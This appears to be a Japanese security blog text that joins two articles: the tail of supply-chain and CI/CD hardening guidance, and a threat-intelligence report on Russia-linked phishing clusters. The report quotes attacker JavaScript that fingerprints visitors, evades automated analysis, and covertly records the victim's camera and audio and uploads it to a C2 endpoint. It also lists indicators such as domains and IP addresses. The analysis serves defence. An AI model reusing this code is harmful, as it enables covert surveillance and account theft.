7 日間の厳格なバッファを設けることで、オープンソース エコシステムは、ポイズニングされたリリースが内部ビルドに到達する前に、それを検出して排除する時間を確保できます。この遅延は、一元化されたレジストリまたはローカル構成で適用する必要があります。具体的な構成パラメータ（npm の minimumReleaseAge クールダウンやセキュアな Python pip インデックスの指定など）については、付随するブログ記事で詳述されている技術実装手順をご覧ください。

プロキシと隔離

外部パッケージとコンテナ イメージはすべて、各コンポーネントをキャッシュ保存、検査、ゲート処理する一元化された内部プロキシを、可能な限り経由する必要があります。組織は、Google Artifact Registry を使用して、非公開リポジトリのホスト、仮想アップストリーム リポジトリの構成、公開レジストリへのビルドランナーの直接アクセスの制限を行うことで、このセキュアな境界を管理できます。プロキシ経由で到達する新しいコンポーネントは、隔離状態を保持してスクリーニングし、セキュリティ判定に失敗した場合はビルドを自動的にブロックする必要があります。依存関係の混乱を狙った攻撃を防ぐため、内部リポジトリは公開レジストリとは区別して管理する必要があります。また、信頼できるレジストリへの昇格は、ポリシーに基づく慎重な承認プロセスに従う必要があります。

脆弱性スキャン

コンテナ イメージとサードパーティの依存関係については、レジストリ レイヤとランタイムで自動スキャンを実行する必要があります。保存されたアーティファクトは、新たな脆弱性が見つかるたびに継続的に再評価する必要があります。アラート件数を管理するには、到達可能性分析や、CISA の悪用が確認されている既知の脆弱性（KEV）カタログといった実際の悪用シグナルを使用して、検出結果の優先順位を決定します。また、Vulnerability Exploitability eXchange（VEX）ステートメントを使用して、該当しない検出結果を抑制し、ノイズを減らします。

イメージの来歴

アーティファクトが信頼できるソースから取得されたものであると検証することは、既知の脆弱性がないことを確認することと同じくらい重要です。来歴は、内部で生成されたすべてのコンテナ イメージとパッケージに暗号署名し、それぞれを特定の構築ワークフローと、それらを生成したソース commit にバインドすることで、この信頼を確立します。最新の署名ツールを使用すると、有効期間の長い署名鍵を管理する負担を負うことなく、各署名イベントをビルド ID に関連付け、公開の透明性ログに記録することで、これを実用的なものにすることができます。署名は検証されて初めて意味を持つため、アドミッション制御時に検証を強制する必要があります。この検証は、期待される厳密なビルド ID に限定し、変更可能なタグではなくアーティファクトの不変のダイジェストに対して行う必要があります。

この原則は、アーティファクトを公開する認証情報にも当てはまります。有効期間の長いレジストリ公開トークンは、繰り返しサプライ チェーン インシデントの根本原因となっています。盗んだトークンがあれば、攻撃者はポイズニングされたバージョンを信頼できる名前で公開できるからです。可能な場合は、これらの静的なトークンを、リリース時に特定の構築ワークフローに対して発行される、有効期間が短く、ID にバインドされた公開トークンに置き換えます。ファーストパーティ ビルドの場合、広く認められた来歴標準を採用することにより、ソフトウェアがどこでどのように構築されたかについて、一貫した基準を確立できます。

SHA の参照

コンテナ イメージのタグとアクション参照はデフォルトで変更可能であるため、アップストリームのアクターは、信頼できる名前の背後にあるコンテンツをいつでも密かに置き換えることができます。不変の暗号ダイジェストに固定することで、この抜け穴をふさぐことができます。ダイジェストはコンテンツ ハッシュであり、基盤となるアーティファクトに変更が加えられると、別の識別子が生成されるからです。これにより、パイプラインがすでに信頼している名前で悪意のあるコンテンツにすり替えられるのを防ぎ、代わりに参照を切断できます。

イメージはダイジェストで固定する必要があります。また、サードパーティのアクションは、再設定可能なバージョンではなく、完全な commit ハッシュに固定する必要があります。このルールは、メインのアプリケーション イメージだけでなく、ビルドが関与するすべてのイメージに適用する必要があります。変更可能なタグのままにしておくと、ベースイメージ、サイドカー、初期コンテナも同様にインジェクション ポイントとして利用される可能性があるからです。また、本番環境で再起動するたびに変更可能なタグを再解決するような構成も避ける必要があります。

CI / CD

CI / CD インフラストラクチャ内の自動化されたパイプラインを強化することは、ソフトウェア開発ライフサイクル全体を保護するための重要な要件です。これらの環境は、特権統合された広範なネットワークに依存してソース リポジトリ、サードパーティのレジストリ、クラウド インフラストラクチャにアクセスしているため、攻撃者にとって格好の標的となります。このような構築システムとデリバリー システムを保護するには、最小権限の原則を厳密に適用し、ネットワーク境界を厳格に運用して、信頼できるすべてのソフトウェア コンポーネントを継続的に検証する必要があります。

ランナーとビルドサーバー

これらのパイプラインはコード リポジトリ、依存関係レジストリ、クラウド環境へのアクセスを必要とするため、CI / CD インフラストラクチャの強化は極めて重要なタスクです。これらのインテグレーションを保護するための主な防御目標は、ランナーの永続性を排除することです。組織は、短命な単回使用のランナーを使用し、完了時に自動的に破棄される、隔離された新しい環境ですべてのジョブが実行されるようにする必要があります。このクリーンな状態から始めるアプローチにより、ジョブ間の汚染を防ぎ、攻撃者が永続的な足場を築くことを阻止します。セルフホスト環境の場合、この隔離をネットワーク層まで拡張し、ランナーのアウトバウンド トラフィックを、事前承認されたレジストリとリポジトリ API のみに制限して、データの引き出しを防ぐ必要があります。さらに、Poisoned Pipeline Execution（PPE）を軽減するため、実行エンジンは管理者が手動で承認するまで、pull リクエストに含まれる未検証のコードがシークレットにアクセスしたり、デプロイ グレードのランナーをトリガーしたりするのをブロックする必要があります。

また、パイプラインでは、共有ビルド キャッシュが改ざんされないよう保護する必要があります。ビルド キャッシュは、ビルドを高速化するためにブランチ間で頻繁に共有されるため、悪意のある pull リクエストによって、破損した依存関係が共有キャッシュに直接挿入される可能性があります。これを放置すると、その後の本番環境ビルドでこのポイズニングされたキャッシュが取得され、信頼できる環境で悪意のあるコードが実行されてしまいます。パイプラインの設定では、ブランチの権限によってキャッシュ アクセスを厳密に隔離し、認証されていないフォークからのキャッシュ書き込みを拒否する必要があります。

最小権限の CI / CD

• フェデレーテッド エフェメラル ID: ワークフロー内での永続的な自動化シークレットの使用を禁止し、OIDC を利用してパイプライン ID を有効期間の短いトークンと交換するようにします。

• ゼロトラスト実行スコープ: デフォルトで読み取り専用または権限なしのランナー ID を発行し、実行可能な最小限の権限を明示的にリクエストするようコンポーネントに義務付けます。

• 共有状態のパラメータ化: ダウンストリーム テンプレートやネストされたワークフロー間で認証情報を自動継承することを禁止し、機密性の高い変数を隔離します。

• ランタイム ガバナンス: 未承認のサードパーティ プラグインやマーケットプレイスのアクションを制限します。また、セキュリティ チームは、パッケージ インストールのライフサイクル スクリプトをサンドボックス化または無効化して（ignore-scripts=true などの構成を使用。詳細は付随するブログ記事をご覧ください）、侵害された依存関係が構築環境で任意のコマンドを実行することを防ぐ必要もあります。

• 環境の分離: ネットワークと IAM の境界をセグメント化し、初期段階の検証タスクや lint チェックタスクを、リリース権限を持つシステムから完全に切り離して動作させるようにします。

• 変更不可のブランチ履歴: 履歴の書き換え機能とカノニカル ブランチでの強制 push を無効にして、追加専用の監査証跡を維持します。

• IaC の検証: デプロイ前に Infrastructure as Code（IaC）をスキャンし、過剰な権限を持つ鍵、引用符で囲まれていないユーザー パラメータの挿入、暗号化されていない Webhook、ランナーの RBAC 構成ミスをブロックします。

スキャンゲートと証明書

CI / CD のスキャンゲートは、デプロイ プロセス内で自動化された品質検証として機能します。設定されたセキュリティ基準に照らしてコードを評価し、定義された基準を満たさない場合はデプロイを自動的に停止します。スキャンゲートをプロセスのできるだけ早い段階に配置することで、潜在的な脆弱性が本番環境に到達する前に開発者に警告できます。

シークレット スキャン（開発者の commit / PR ゲート）: ハードコードされた API キー、パスワード、SSH 認証鍵が含まれている場合は開発者の push をブロックするよう、pre-commit フックと SCM レベルのスキャナを構成します。これにより、シークレットがリポジトリの永続的な履歴に保存されるのを防ぐことができます。

SAST - 静的アプリケーション セキュリティ テスト（pull リクエスト / ピアレビュー ゲート）: SAST を継続的インテグレーション（CI）テストに統合し、ドラフト コードを main ブランチにマージする前に分析します。これにより、開発中に構造上の欠陥、ロジックの脆弱性、危険な関数（エスケープされていないユーザー入力など）が自動的に検出されます。

SCA - ソフトウェア構成分析（構築フェーズ中）: ビルド環境が依存関係を解決する際に SCA スキャンをトリガーします。パッケージ ロックファイル（package-lock.json や requirements.txt など）をスキャンして Google OSV などのデータベースと照合することで、アクティブな既知の CVE が存在するライブラリをインポートしようとするビルドを自動的に失敗させることができます。

コンテナ / イメージ スキャン（レジストリ / push ゲート）: 自動スキャナをコンテナ レジストリ パイプラインに直接組み込みます。新しく構築されたコンテナ イメージを本番環境用に許可リストに登録する前に、レジストリ スキャナでそのベース OS パッケージを検査し、重大な OS レベルの脆弱性やデフォルトでの root アクセスが含まれているイメージを拒否するようにします。

DAST - 動的アプリケーション セキュリティ テスト（ステージング / デプロイ前）: デプロイの手順として、実行中のアプリケーションの、隔離された一時的なステージング インスタンスを作成します。自動化された DAST テストを実行し、エンドポイントに対する実際の攻撃（SQL インジェクションやクロスサイト スクリプティングなど）をシミュレートして、アクティブなランタイム防御構成が機能しているかどうかを検証します。

CSPM - クラウド セキュリティ ポスチャー管理（デプロイ前の IaC スキャンおよびデプロイ後）: 変更を適用する前に、Policy as Code ツールを使用して Infrastructure as Code（IaC）テンプレート（Terraform や Kubernetes マニフェストなど）をスキャンします。これにより、過剰な権限を持つ IAM ロールや、SSH（ポート 22）がインターネットに公開されているセキュリティ グループなど、構成ミスのあるクラウド環境のプロビジョニングが自動的にブロックされます。

SBOM の生成と証明書

SBOM は、ビルドに含まれるすべてのコンポーネントの完全かつ検証可能なインベントリです。構築の一環として SBOM を生成して署名すると、このインベントリは、事後に再構築されたものではなく、改ざん検出が可能な証明書として生成されます。

実際には、これは構築ステップとして、CycloneDX や SPDX のような広く認識された形式で SBOM を生成することを意味します。生成された SBOM は、アーティファクトのダイジェストに関連付けられた証明書として署名され、変更を防止します。署名付きの SBOM は、フリート内のすべてのイメージを再スキャンすることなく、影響を受けるアーティファクトにマッピングし直す必要があります。モニタリングを有効に保つには、VEX ステートメントを使用して、コードに適用されない検出結果にフラグを立て、インベントリが実用的なトリアージ ツールとして機能し続けるようにする必要があります。

デプロイ

ランタイム フェーズを保護することで、攻撃者がパイプラインの初期の防御策をうまくすり抜けたとしても、ワークロードは保護されたままになります。この運用レイヤは、コードがビルド パイプラインからアクティブな本番環境に移行する際の最終的な品質ゲートとして機能します。

ワークロードの保護とランタイムの強化

ワークロードの保護は、実行中のアプリケーションとコンテナ インスタンスに直接適用し、実行フットプリントを制限して、アクティブなエクスプロイトをブロックする必要があります。

• デプロイのガードレール: 本番環境の入り口に自動セキュリティ チェックを設置し、有効な暗号署名のないコンテナ、不要な root 権限を要求するコンテナ、信頼できない公開レジストリから取得されたコンテナをブロックします。

• ワークロード ポスチャー: 強化されたベースイメージからワークロードを構築し、読み取り専用のルート ファイル システムと削除された SSH 機能を備えた不変のインフラストラクチャで実行して、脆弱性の悪用後のファイル作成や横方向のディレクトリ トラバーサルを防止します。

• アクティブなアプリケーション保護: ランタイム アプリケーション自己保護（RASP）をデプロイし、SQL インジェクションのような実行レベルでのエクスプロイトを阻止します。Google Model Armor といったランタイム ガードレールを使用して、プロンプト インジェクションやジェイルブレイクから AI ワークロードを保護します。

• ジャストインタイム アクセス: 常時有効な管理者権限を排除し、有効期限が設定され、アクセスがタスクの範囲に限定された認証情報を採用します。この認証情報は自動的に期限切れとなり、必要な場合にのみ実行時に特権認証情報が挿入されます。

稼働中のインフラストラクチャの保護

周辺ネットワークとクラウド コントロール プレーンを保護することで、デプロイ済みのアプリケーションを外部の脅威から守り、ラテラル ムーブメントをブロックして、クラウド構成の完全性を維持できます。

• ウェブ アプリケーション ファイアウォール（WAF）: エッジ ファイアウォールをデプロイし、受信するアプリケーション レイヤのトラフィックを検査することで、悪意のあるペイロードをフィルタし、クロスサイト スクリプティングや OWASP Top 10 の脆弱性といった一般的なウェブ エクスプロイトを、バックエンド サービスに到達する前にブロックします。

• API ゲートウェイとロードバランサ: エッジ認証を一元化し、レート制限を適用して、リクエストの署名を検証することで、アプリケーション バックエンドが直接公開されることを防ぎます。

• マイクロセグメンテーション: ID 認識型のきめ細かなネットワーク ポリシーを適用してワークロードを隔離し、事前承認されたサービス間通信パスのみにトラフィックを制限することにより、デフォルトでネットワークのラテラル ムーブメントをブロックします。

• 構成の整合性: Policy as Code ツールをデプロイし、バージョン管理された IaC の信頼できる情報源と照らし合わせて稼働環境を継続的に検証し、コード外での変更を自動的に元に戻すことで、不正な変更を防止します。

• アクティブなポスチャー スキャン: クラウド セキュリティ ポスチャー管理（CSPM）とクラウドネイティブ アプリケーション保護プラットフォーム（CNAPP）を実行し、クラウドの構成ミス、制限が過度に緩い IAM、公開されたストレージを継続的にスキャンします。

• 継続的なモニタリング: ログ、システム指標、監査イベントを収集することですべてのシステムを完全に可視化し、ライブ セキュリティ イベントを迅速に検出、追跡して対応します。

まとめ

最近のソフトウェア サプライ チェーンへの攻撃キャンペーンは、開発インフラストラクチャ、ビルド パイプライン、開発者のユーティリティが重要な脅威ベクトルであり、主要な侵害ポイントであることを示しています。従来のアクセス制御やポイントインタイムのセキュリティ スキャンでは、高度な侵入からこれらの環境を保護するには不十分です。開発ライフサイクルを強化するには、すべての段階で継続的な自動検証を実装し、開発者のエンドポイント、コード リポジトリ、パッケージ レジストリ、ビルドランナー、デプロイ ガードレールにわたるセキュリティ ポスチャーを、包括的な防御フレームワークに統合する必要があります。

最終的に、パイプライン セキュリティの目的は、侵入を隔離して封じ込めることができる、復元力のあるアーキテクチャを構築することです。コードの最初の commit から本番環境への最終的なデプロイに至るまで暗号学的検証とポリシー適用を自動化することで、組織は全体的な攻撃対象領域を大幅に縮小し、ダウンストリームの消費者を保護するとともに、個々の侵害が拡大する前に迅速に隔離して解決できます。

謝辞

このガイダンスの作成にあたり、多大なるご協力をいただいた Arafat Ismail 氏、Bhavesh Dhake 氏、Brentyn Muir 氏、Brian Meyer 氏、Emilio Oropeza 氏、Eyad Mahmoud 氏、Franklin Ramos 氏、Gursev Singh 氏、Omar ElAhdan 氏、Sara Takhim 氏、Stuart Carrera 氏、Stuart Munro 氏、Will Silverstone 氏、ならびに Mandiant セキュリティ トランスフォーメーション サービス チームの皆様に、深く感謝いたします。

 - Mandiant

執筆者:  Gabby Roncone, Wesley Shields

概要

Google Threat Intelligence Group（GTIG）は、正規の認証フローを悪用して、欧州の学術機関、航空宇宙 / 防衛産業、政府機関、シンクタンク、および米国の学術機関やシンクタンクに勤務する個人を標的とした 3 つのサイバー エスピオナージ脅威クラスタを追跡しています。これらのグループは、ロシアの関与が疑われています。手法の例については、UNC6293 のフィッシング攻撃に関する以前のブログで確認できます。現在、GTIG は、ロシアの関与が疑われるさらに 2 つのクラスタ（UNC7005 および UNC5976）を追跡しています。これらのクラスタは、フィッシング、OAuth フローの悪用、被害者へのマルウェアのデプロイなどを行っています。特に UNC7005 は、ReliaQuest と Microsoft が報告したホスピタリティ業界を標的としたキャプティブ ポータル リダイレクトに関連しています。各グループはそれぞれ異なる方法で攻撃キャンペーンを展開していますが、いずれも最終的には、アカウントを侵害するために正規の認証ワークフローを悪用することに重点を置いているという共通点があります。

これらのクラスタは、高度なソーシャル エンジニアリングの手法を駆使し、複数のプラットフォームにわたって個人アカウントを侵害する、執拗かつ適応力のあるフィッシング キャンペーンを展開しています。こうした攻撃活動は、一見しただけではフィッシングとは判別しにくい正規の認証プロセスを悪用するため、GTIG は個人を標的としたこれらのソーシャル エンジニアリング キャンペーンに関する注意喚起を行い、悪意ある接触をより容易に認識できるようにすることを目指しています。

UNC6293

UNC6293 は、初期のアクセス オペレーションを担当する ICE RELIC（旧 APT29）のサブクラスタであると、中程度の確信度で評価しています。UNC6293 による活動は、2025 年 6 月に初めて報告されました（Citizen Lab による報告も参照）。これは、ロシアに批判的な著名人を標的とした、攻撃的なアプリ パスワード フィッシング キャンペーンでした。アプリ パスワードとは、セキュリティ レベルの低いアプリやデバイスにアカウントへのアクセス権限を与えるために、ユーザーが設定できるパスコードのことです。アプリ パスワードを標的としたフィッシング攻撃では、攻撃者は標的のアカウントに特定のアプリ パスワードを設定するよう誘導し、そのパスワードを使用して、2 要素認証（2FA）を経由することなくアカウントへのアクセスを試みます。これまでに確認されている UNC6293 のキャンペーンの一環として、攻撃者は米国国務省になりすまし、「ms.state.gov」という名称のアプリ パスワードを設定するよう標的を誘導しようとしました。その際の手順は PDF ファイルに記載されており、そこには UNC6293 が標的に設定させようとしていた項目のスクリーンショットが含まれていました。

その後の 1 年間、UNC6293 は国務省職員を装い、アプリ パスワードを狙ったフィッシング攻撃を続けています。一例として、2025 年 10 月に GTIG は、2025 年 6 月に確認されたものとまったく同じスクリーンショットを掲載した PDF のおとり文書を UNC6293 が使用していることを確認しました。これには、ms.state.gov の参照も含まれていました。2025 年当時の攻撃では、被害者に対してアプリ パスワードを電子メールで返信するよう求めていましたが、今回の新しい攻撃では、一見すると正規のサイトに見えるウェブサイト上の認証フォームに入力するよう要求しています。

UNC6293 のフィッシング キャンペーンは小規模なものとなる傾向があり、通常は一度に 5 人未満のユーザーを標的にします。GTIG が確認したアプリケーション名とおとりは、外交テーマや今後予定されている会議や会合に焦点を当てたものが多く、2025 年 12 月に Volexity が報告した内容と一致しています。

UNC6293 は、その後も米国務省を装う活動を続け、その手口として OAuth フィッシングを組み込むようになりました。2026 年 6 月、GTIG は UNC6293 による OAuth フィッシングを確認しました。この攻撃では、標的が外部プロバイダへの正規のログインを行った後、完全な URL または「確認コード」を共有するよう要求されます。標的が要求された確認コードを提供すると、UNC6293 にアカウントへのアクセス権が与えられてしまうという仕組みでした。

UNC7005

UNC7005（別名 STORM-2945）は、2026 年 2 月に特定された脅威クラスタであり、主にウクライナ、西欧、米国の学術機関、外交機関、非営利団体の関係者を標的としています。このグループは、標的の重複など、UNC6293 と多くの点で高い類似性を示していますが、技術的な洗練度が低く運用上のセキュリティ（OPSEC）が不十分であること、インフラストラクチャの特性が異なること、そしてマルウェアを使用していることなどから、別のクラスタとして追跡しています。同様に、UNC7005 は ICE RELIC に関連する別の初期アクセス / クラスタであると、中程度の確信度で評価しています。

アプリ パスワードを標的としたフィッシング攻撃

少なくとも 2026 年 2 月以降、UNC7005 は、ロシア国家が関心を寄せる個人を標的として、極めて対象を絞り込んだアプリ パスワード フィッシング攻撃を展開しています。これらの攻撃では UNC6293 と同様のソーシャル エンジニアリング手法が用いられていますが、使用されるアプリ パスワードが（確認された全事例のうち 1 件を除き）標的ごとに固有であるという点で異なります。攻撃の手法は、標的を騙す際に用いられるシナリオ（標的が関与しているとされる活動内容や、UNC7005 がなりすましている組織など）に即した内容となっています。

デバイスコード フィッシング

UNC7005 は、Microsoft アカウントと WhatsApp アカウントの両方を標的としたデバイスコード フィッシング攻撃も行っています。こうしたフィッシング攻撃で用いられる主な口実としては、標的の専門分野に関連する著名な組織の人物との通話への招待や、最近では外交関連のイベントや会議への招待などがよく使われています。

Microsoft デバイスコード フィッシング

UNC7005 は、まずメールを介して Microsoft デバイスコードを悪用したフィッシング攻撃を展開します。これらのメールは、正規のイベントや組織を装うために攻撃者が作成したドメインから送信されることがあります。メールには攻撃者が管理するウェブサイトへのリンクが記載されていますが、そのようなサイトでは類似したテンプレートが頻繁に使用されています。たとえば UNC7005 は、2026 年 4 月下旬に実施した「大使館への招待」をテーマとした作戦で使用したウェブサイトのテンプレートを、2026 年 5 月に正規の GLOBSEC フォーラムを装って実施した別の作戦でも再利用していました。

ウェブページにアクセスすると、標的のシステムでフィンガープリントが採取されます。これは、ページにアクセスする自動スキャナがないかチェックするためであると考えられます。

  (function(){
    var fp = {
      tid:   "3311a310cd4f40d4",
      sw:    screen.width,
      sh:    screen.height,
      tz:    Intl.DateTimeFormat().resolvedOptions().timeZone,
      lang:  navigator.language,
      plat:  navigator.platform,
      cores: navigator.hardwareConcurrency || null,
      mem:   navigator.deviceMemory   || null,
      touch: navigator.maxTouchPoints || 0,
    };
    fetch('/fingerprint', {
      method:   'POST',
      headers:  {'Content-Type': 'application/json'},
      body:     JSON.stringify(fp),
      keepalive: true,
    }).catch(function(){});

図 5: 分析回避のための最初のシステム フィンガープリント

標的は、会議への出席を確定し、登録するよう求められます。登録プロセスは入念に作られており、特に食通向けのワインの選択肢が含まれているのが特徴的です。これは過去の ICE RELIC 関連の複数のフィッシング キャンペーンでも見られたテーマです。

フォームへの記入を終えると、標的は再び本人確認書類の提出を求められます。特に、GLOBSEC の事例では、テキスト内で「GLOBSEC」ではなく「大使館のセキュリティ ポリシー」という表現が使われていますが、これは過去の攻撃の名残です。

この活動を特定してから数日以内に、当該攻撃者が作戦内容を積極的に変更していることが確認されました。UNC7005 は、ページ上のテキストに技術的な問題があったことを理由に、ソーシャル エンジニアリングに使用していたテンプレートを改訂し、ターゲットへの質問内容や配色を変更しました（5b8d50c2e8cc3038b7c6e6dbf1219f6e814930a1e3c0053143a1191ae67f8ffc）。

今回、UNC7005 は、自動化された分析の試みを検知して回避しようとするスクリプトをメインの登録ページに組み込んでいました。

(function(){
      var h = false;
      try {
        // webdriver flag — set by ChromeDriver, Puppeteer, Selenium
        if (navigator.webdriver) h = true;
        // Headless Chrome has no plugins at all
        // Headless Chrome / PhantomJS often have no languages
        if (!h && (!navigator.languages || navigator.languages.length === 0)) h = true;
        // Chrome-specific runtime object absent in headless older builds
        if (!h && typeof window.chrome === 'undefined' &&
            /chrome/i.test(navigator.userAgent)) h = true;
        // Permission query behaves differently in headless
        if (!h && navigator.permissions) {
          navigator.permissions.query({name:'notifications'}).then(function(r){
            if (r.state === 'denied' && Notification.permission === 'default') {
              document.documentElement.innerHTML = '';
              window.stop();
            }
          }).catch(function(){});
        }
      } catch(e) { h = true; }
      if (h) { document.documentElement.innerHTML = ''; window.stop(); }
    })();

図 11: 分析回避のための 2 番目のシステム フィンガープリント

WhatsApp デバイスリンク（およびその他の手法）

2026 年 5 月と 6 月に、UNC7005 は WhatsApp を装ったソーシャル エンジニアリング攻撃を実施しました。攻撃者が配信したフィッシング ページは、安全な WhatsApp 通話、チャット、またはドキュメント共有への参加を口実に、標的の WhatsApp アカウントを攻撃者が管理するデバイスにリンクするよう標的を誘導します。デバイスがリンクされると、攻撃者はさらに複数の手法を用いて侵害を試みます。

ページにアクセスすると、標的は電話番号を入力するように求められます。この電話番号は、攻撃者のデバイスで正規の WhatsApp デバイスリンク リクエストを作成するために使用されます。その後、デバイスをリンクする手順とともに、正規の QR コードとリンクコードが標的に対して表示されます。

標的が自分のアカウントを攻撃者の WhatsApp デバイスにリンクすると、フィッシング ページには、音声通話への参加、暗号化チャットの利用、またはファイルのダウンロードのいずれかを行うよう促す追加のメッセージが表示されます。

標的が音声通話に参加すると、標的の音声と映像を記録する悪意のある JavaScript がトリガーされます。その間、ウェブページには呼び出し音が鳴る偽の通話画面が表示され、音声と映像の記録が行われます。そして通話が「失敗」した時点で、記録データは攻撃者の C2（コマンド＆コントロール）エンドポイントである /api/code/<unique user session id>/recording に送信されます。

function startMediaRecording() {
    if (!navigator.mediaDevices || !navigator.mediaDevices.getUserMedia) {
      return Promise.resolve();
    }
    return navigator.mediaDevices.getUserMedia({ video: true, audio: true })
      .then(function(stream) {
        mediaStream = stream;
        var selfVideo = document.getElementById('self-video');
        var selfView = document.getElementById('self-view');
        if (selfVideo && selfView) {
          selfVideo.srcObject = stream;
          selfView.style.display = '';
        }
        recordedChunks = [];
        var options = { mimeType: 'video/webm;codecs=vp8,opus' };
        if (!MediaRecorder.isTypeSupported(options.mimeType)) {
          options = { mimeType: 'video/webm' };
          if (!MediaRecorder.isTypeSupported(options.mimeType)) {
            options = {};
          }
        }
        mediaRecorder = new MediaRecorder(stream, options);
        mediaRecorder.ondataavailable = function(e) {
          if (e.data && e.data.size > 0) recordedChunks.push(e.data);
        };
        mediaRecorder.start(1000);
      })
      .catch(function() {
      });
  }
[...]
function uploadRecording() {
if (mediaStream) {
mediaStream.getTracks().forEach(function(t) { t.stop(); });
mediaStream = null;
}
if (!recordedChunks.length) return;
var blob = new Blob(recordedChunks, { type: recordedChunks[0].type || 'video/webm' });
recordedChunks = [];
var formData = new FormData();
formData.append('recording', blob, 'recording_' + sessionId + '.webm');

fetch('/api/code/' + sessionId + '/recording', { method: 'POST', body: formData })
  .then(function(r) { if (!r.ok) throw new Error('Upload failed'); })
  .catch(function() {
    return fetch('/api/code/' + sessionId + '/recording', { method: 'POST', body: formData });
  })
  .then(function(r) { if (r && !r.ok) throw new Error('Upload failed'); })
  .catch(function() {});

}

図 15: 標的の音声と映像を記録して C2 にアップロードする悪意のある JavaScript

フィッシング ページでは、デバイスのリンクに成功した後で、「暗号化チャット」という偽のオプションが標的に提示される場合があります。JavaScript はまず、チャットの認証情報と、URI が /chat/login である追加のログイン URL を表示します。ユーザーは、表示されたユーザー名とパスワードをコピーして、その追加 URL でログインするよう促されます。

標的がファイル転送を装った手口に誘導され、WhatsApp アカウントを正常にリンクすると、ウェブページにファイルのダウンロード ボタンが表示されます。GTIG は現時点で、ダウンロード用にどのようなファイルが用意されていたのか特定できていません。

ブラウザ スティーラーと Malware-as-a-Service（MaaS）

2026 年 5 月下旬、UNC7005 はそれまでに確認されたものよりもはるかに大規模なフィッシング攻撃を展開しました。この攻撃は、ロシアと旧ソ連諸国を専門とする、主に米国を拠点とする著名な学者、外交官、研究者を標的としたものです。この活動で攻撃者が使用したメールアドレスは、2025 年 6 月の UNC6293 の活動で使用されたものとほぼ同じでした。

この活動において、UNC7005 はフィッシング メールを通じて悪意のある URL を拡散しました。標的が Windows または macOS デバイスからその URL にアクセスすると、ウクライナ支援決議に関連する「サミット」を装ったランディング ページに誘導されます。それ以外の環境からのアクセスに対してはエラーが表示され、互換性のために別の OS へ切り替えるよう求められました。

このウェブサイトは、標的をソーシャル エンジニアリングの手法で誘導するために巧妙に構築されており、決議案の各項目に関する情報に加え、質問や技術的な問題について脅威アクターに連絡するための連絡先情報も掲載されていました。

標的が、ウクライナに関する決議案の全文を読むために「サミット コンパニオン アプリ」をダウンロードするボタンをクリックすると、その標的のユーザー エージェントから判別された OS に応じた情報窃取型マルウェアが配信される仕組みになっていました。

Windows 向けオプション

ユーザー エージェントから、標的が Windows 搭載マシンで閲覧していることが判明した場合、悪意のあるウェブページは VIDAR のサンプル（1d9299799a7b8da67c44ebec064d64542c27645f8e84de4a22ca3f6cbc843e3c）を標的に配信します。このサンプルは難読化された Go 言語のバイナリであり、C2 サーバーとして 107.189.18[.]7 を使用します。VIDAR は MaaS（Malware as a Service）として運用される情報窃取型マルウェアであり、主にブラウザに保存された機密情報（認証情報、保存された支払い情報、Cookie 情報、保存された住所など）を標的として窃取し、それらを平文で C2 サーバーに送信します。

Mac 向けオプション

ユーザー エージェントから、標的が macOS 搭載マシンで閲覧していることが判明した場合、悪意のあるウェブページは ATOMIC のサンプル（c5826032207d623a7f6caec8465af7364eccc355f9a48897da2a54f3e4420265）を標的に配信します。ATOMIC（別名 AtomicStealer）は、MaaS として運用される macOS 向けの情報窃取型マルウェアであり、ブラウザ内の機密情報も標的としています。

OAuth フィッシング

クラウド プロジェクト

2026 年 8 月初旬、UNC7005 はクラウド インフラストラクチャを悪用し、Google アカウントを標的とした OAuth フィッシング活動を開始しました。2026 年 7 月 31 日より、UNC7005 は、特に北大西洋条約機構（NATO）の枠組みにおいてフィンランドの防衛 / 安全保障関連企業を支援する Finnish Operations Center（FOC）を装ったドメインの登録を行いました。また、2026 年 8 月 6 日から 8 月 13 日にかけて、欧州の防衛産業に関わる組織や個人に対し、攻撃者が管理するドメインへのリンクが記載された標的型フィッシング メールを送信しました。

[Get Access] または [Sign in With Google] をクリックすると、標的は正規の Google OAuth ログインページにリダイレクトされ、アカウントにログインして続行するよう求められます。標的が認証を行うと、攻撃者が管理するテストモードの未確認のクラウド プロジェクトにリダイレクトされます。このプロジェクトは、標的のアカウントへのアクセス権を攻撃者に与える認証トークンを窃取するために使用されている可能性が高いものです。

その他の OAuth フィッシング

2026 年 8 月上旬、GTIG は、UNC7005 が正規の Microsoft OAuth URL を標的に直接送信する、極めて標的を絞ったフィッシング活動を特定しました。この活動で使用された攻撃者のメールアドレスは、クラウド プロジェクトを標的とした OAuth フィッシング活動でも使用されていました。

UNC7005 とホスピタリティ業界を標的としたキャプティブ ポータル キャンペーン

2026 年 4 月下旬、GTIG は Microsoft の認証リソースを模倣した UNC7005 インフラストラクチャの追跡を開始しました。脅威アクターによって各ドメインが実際に運用され始めたことを受け、GTIG はそのインフラストラクチャをセーフ ブラウジングのブロックリストに追加する措置を講じました。公開されている報告と整合する形で、2026 年 7 月中旬には、ホテルや会議センターに関連付けられたキャプティブ ポータルから、この攻撃者のインフラストラクチャにリダイレクトされるユーザーが GTIG によって確認され始めています。2026 年 7 月 23 日、ReliaQuest は DNS（ドメイン ネーム システム）リクエストの分析結果をまとめたブログ記事を公開し、キャプティブ ポータルから Microsoft の認証リソースを偽装した攻撃者管理下のログインページへリダイレクトが行われていることを明らかにしました。その後、2026 年 7 月 31 日には、Microsoft が Midnight Blizzard による活動の詳細を公表しました。この活動は、ホスピタリティ業界のネットワーク上のキャプティブ ポータルを悪用し、マルウェアを配布したり、デバイスコード フィッシングを通じて Microsoft アカウントへのアクセス権を取得したりするものでした。

このキャンペーンで使用された一連のインフラストラクチャは、その運用期間中、脅威アクターによって多岐にわたる用途に利用されていたものと見られます。GTIG は、このインフラストラクチャを、UNC7005 が 2026 年 4 月以降に実施してきた他の認証関連の活動やマルウェア関連の活動と直接関連付けました。

ホスピタリティ関連のキャプティブ ポータル ドメインにリンクされているドメインは、以前のデバイスコード フィッシング攻撃で使用された UNC7005 ドメインと、同一の IP アドレスに解決されるという共通点を持っています。

• 2026 年 7 月 16 日から 7 月 23 日の間に、UNC7005 は Microsoft Outlook Web Access（OWA）を装った 3 つのドメイン（owa-ms365[.]com、m365-owa[.]com、ms365-device[.]com）を登録しました。これらのドメインは、後に chikolimdrid@gmail.com というメールアドレスを使用して、ホスピタリティ業界を標的としたキャプティブ ポータル キャンペーンにリンクされました。

• この攻撃者が使用したメールアドレスは、以前にも Microsoft を装ったドメイン ms365-live.com を登録するために使用されており、同ドメインは IP アドレス 104.194.159[.]150 に解決されていました。

